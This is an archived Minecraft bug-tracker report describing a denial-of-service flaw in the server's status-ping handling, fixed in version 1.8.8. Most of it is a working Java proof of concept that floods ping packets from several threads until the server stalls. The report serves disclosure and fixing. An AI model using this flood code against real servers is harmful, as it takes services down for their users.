Mojira Archive
MC-81018

Server Vulnerable to DoS Via Status Requests

The client ping connection should have the following restrictions impossed:

  • MOTD can be requested once (and before ping time)
  • Ping time can only be requested once, and the connection is closed afterwards.
  • If either of these is requested out of order or for a second time the connection should be closed.

The server is vulnerable to a simple DoS if these safeguards are not put in place, as when a socket is unwriteable pending message data will be stored in memory. We can abuse this to send a two byte request for kilobyte(s) of memory use:

package serverlistping;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Socket;

public class ServerListPing extends Thread {

    private final InetSocketAddress host;

    public ServerListPing(InetSocketAddress host) {
        this.host = host;
    }

    @Override
    public void run() {
        try {

            Socket socket = new Socket();
            socket.connect(host);

            DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());

            ByteArrayOutputStream handshakeBytes = new ByteArrayOutputStream();
            DataOutputStream handshake = new DataOutputStream(handshakeBytes);
            handshake.writeByte(0x00); // packet id
            writeVarInt(handshake, 4); // protocol version
            writeVarInt(handshake, 15); // host length
            handshake.writeBytes("DoS PoC by md_5"); // host string
            handshake.writeShort(1337); // port
            writeVarInt(handshake, 1); // handshake state

            writeVarInt(dataOutputStream, handshakeBytes.size()); // handshake size
            dataOutputStream.write(handshakeBytes.toByteArray()); // handshake packet

            while (true) {
                dataOutputStream.writeByte(0x01); // size
                dataOutputStream.writeByte(0x00); // ping
            }
        } catch (IOException ex) {
            System.err.println(getName() + " died: " + ex.getClass().getName() + ":" + ex.getMessage());
        }
    }

    public static void main(String[] args) {
        for (int i = 0; i < 3; i++) {
            new ServerListPing(new InetSocketAddress("localhost", 25565)).start();
        }
    }

    private static void writeVarInt(DataOutputStream out, int i) throws IOException {
        while (true) {
            if ((i & 0xFFFFFF80) == 0) {
                out.writeByte(i);
                return;
            }

            out.writeByte(i & 0x7F | 0x80);
            i >>>= 7;
        }
    }
}

It doesn't take long for the server to be rendered useless by CPU, memory, or garbage collection.

Fixed

[Mod] md_5

[Mojang] Nathan Adams

2015-06-05, 03:35 PM

2015-07-27, 08:16 PM

2015-07-22, 04:12 PM

0

2

Unconfirmed

Minecraft 1.8.7

Minecraft 1.8.8